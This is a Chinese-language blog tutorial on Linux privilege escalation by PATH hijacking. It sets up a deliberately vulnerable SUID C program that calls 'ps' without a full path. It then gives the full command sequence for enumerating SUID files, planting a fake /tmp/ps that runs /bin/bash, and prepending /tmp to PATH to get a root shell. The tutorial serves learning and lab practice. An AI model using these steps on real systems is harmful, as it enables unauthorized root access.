利用PATH環境變數 – 提升linux許可權~👻

利用PATH提升linux許可權

參考地址://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/
這篇文章是我學習大佬的部落格,加上自己的理解寫的,大佬寫的更詳細,總共寫了4種方法,但是在我看來這都是一種方法,所有我加上我淺薄的理解,總結了一個方法。

1.介紹

PATH 是 Linux 和類 Unix 作業系統中的環境變數,它指定存儲所有可執行程式的所有 bin 和 sbin 目錄。當用戶在終端上運行任何命令時,它會請求 shell 在 PATH 變數的幫助下搜索可執行文件,以響應用戶執行的命令。超級用戶通常還具有 /sbin 和 /usr/sbin 條目,以便輕鬆執行系統管理命令。

藉助echo 命令查看相關用戶的路徑非常簡單。

echo $PATH

image

如果你注意到’.’ 在環境 PATH 變數中,這意味著登錄的用戶可以從當前目錄執行二進位文件/腳本,這對於攻擊者來說是一種提升 root 許可權的極好技術。這是由於編寫程式時缺乏注意,因此管理員沒有指定程式的完整路徑。

個人理解:
就是在/bin/,/sbin/目錄下面的命令我們可以在任何目錄下面直接調用,不需要加上絕對路徑,比如cat,echo,id,
ps,ls,vim,你會發現這些都在/usr/bin/ 或者/usr/sbin/目錄下面,所有你調用這些命令不需要加上絕對路徑,可
以直接調用,這篇文章說的就是改寫這些命令進行覆蓋原來的命令,比如改寫一個ps覆蓋原來調用的/usr/bin/ps這個系
統命令,改寫的ps裡面我們寫上我們的內容,然後進行覆蓋去執行,達到提權的目的。(現在沒看懂沒關係,可能我表達
不是很好,往後看你就都明白了!🙄)

image

2.創建測試文件demo.c

我們現在目前是root許可權:

image

我們進入/home/tzf目錄下面創建一個新目錄script,然後在這個目錄下面寫一個c程式,這個c程式裡面會調用一個系
統命令ps(當然了!,你也可以調用echo,cat,ls,vim隨便哪一個系統命令都可以,大佬的文章寫了四個命令,我這裡
就講解這一個吧,其他的用法大同小異,大家可以去膜拜膜拜大佬寫的!😉)

命令:
mkdir script
cd script
touch demo.c
vim demo.c

demo.c 內容:
void main()
{
        setuid(0);
        setgid(0);
        system("ps");
}

image

不好意思,這裡忘記切換進去script文件夾了😂,在哪個文件夾下面都一樣的其實。
正如您在我們的 demo.c 文件中所觀察到的,我們正在調用 ps 命令(進程狀態),它是系統二進位文件。跟ls,cat,vim,echo都是一樣的。

3.編譯demo.c文件並加上許可權

gcc demo.c -o shell
chmod u+s shell
ls -al

image

我們可以看到現在shell就是demo.c經過編譯得到的二進位文件,demo.c的內容就是調用系統命令ps,然後shell這個二進位文件他的用戶是root,但是普通用戶也是可以以root許可權去執行二進位文件的,因為我們加了s許可權。
關於chmod u+s命令的解釋://www.cnblogs.com/bruce1992/p/14307745.html

image

現在我們切換到普通用戶tzf,就是說我們已普通用戶去執行shell這個文件是用的root許可權去執行的,這麼說大家應該能理解。我們發現shell它會去調用ps這個命令。我們現在可以看到ps這個命令現在是在/usr/bin/目錄下面的,就是說我們現在執行./shell這個文件是調用的/usr/bin/ps這個命令,後面接著看🧐。

image

4.提權

首先,您需要破壞目標系統,然後進入提權階段。假設您通過 ssh 成功登錄到受害者的機器。然後不用浪費時間,在 Find 命令的幫助下搜索具有 SUID 或 4000 許可權的文件。

find / -perm -u=s -type f 2>/dev/null

因此在上述命令的幫助下,攻擊者可以枚舉任何可執行文件,在這裡我們還可以觀察到/home/tzf/script/shell具有 suid 許可權。suid許可權就是我們剛剛加的u+s。

image

可以看到這個就是我們剛剛寫進去的二進位文件shell
這裡我就以普通用戶tzf做演示,就當我通過ssh連上tzf這個普通用戶然後提權到root用戶。

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
echo $PATH
cd /home/tzf/script
./shell
whoami

image

5.個人理解

可以看到第三步的時候我們執行./shell這個命令調用的ps是/usr/bin/ps這個命令,但是最後我們在第四步執行的./shell這個命令,此時ps這個命令的絕對路徑變成了/tmp/ps,然後/tmp/ps是我們自己創建的一個文件,裡面內容是/bin/bash,所有我們在第四步是以root許可權去執行的./shell這個命令,同時也是以root許可權去執行的ps命令,也就是執行的/bin/bash,所以我們成功提權到了root的終端,成功提權。

有人可能會問為什麼不調用/usr/bin/ps,而是去調用的/tmp/psn呢,/usr/bin/ps這個文件難道沒了嗎?不沒有,不信你可以執行cd /usr/bin;ls | grep ps看看,ps文件其實還在,我猜測應該是因為我們的/tmp/ps加在了$PATH環境變數的最前面,而且當我們執行ps這個命令的時候,他去環境變數裡面找應該是從頭到尾開始找,找到了就停止了,所以先找到的是/tmp/ps這個命令,就直接調用了。所以並不是/usr/bin/ps被/tmp/ps覆蓋了,只是被攔截了!👀,這只是我個人的理解,如果有誤請大佬指正!


image